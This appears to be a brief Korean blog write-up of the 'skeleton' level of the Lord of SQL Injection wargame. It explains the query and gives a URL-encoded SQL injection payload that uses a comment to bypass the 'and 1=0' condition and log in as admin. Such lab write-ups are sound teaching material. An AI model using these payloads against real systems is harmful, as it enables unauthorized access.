[Lord of SQL injection] skeleton

소스코드 분석

if($result['id'] == 'admin') solve("skeleton");

id = 'admin'을 만족하면 풀리는데 뒤에 

select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0

and 1=0 이라는 조건이 붙었는데 뒤에는 주석으로 생략을 한다.

?pw=%27%20or%20id%20=%20%27admin%27%20%23

?pw=' or id = 'admin' %23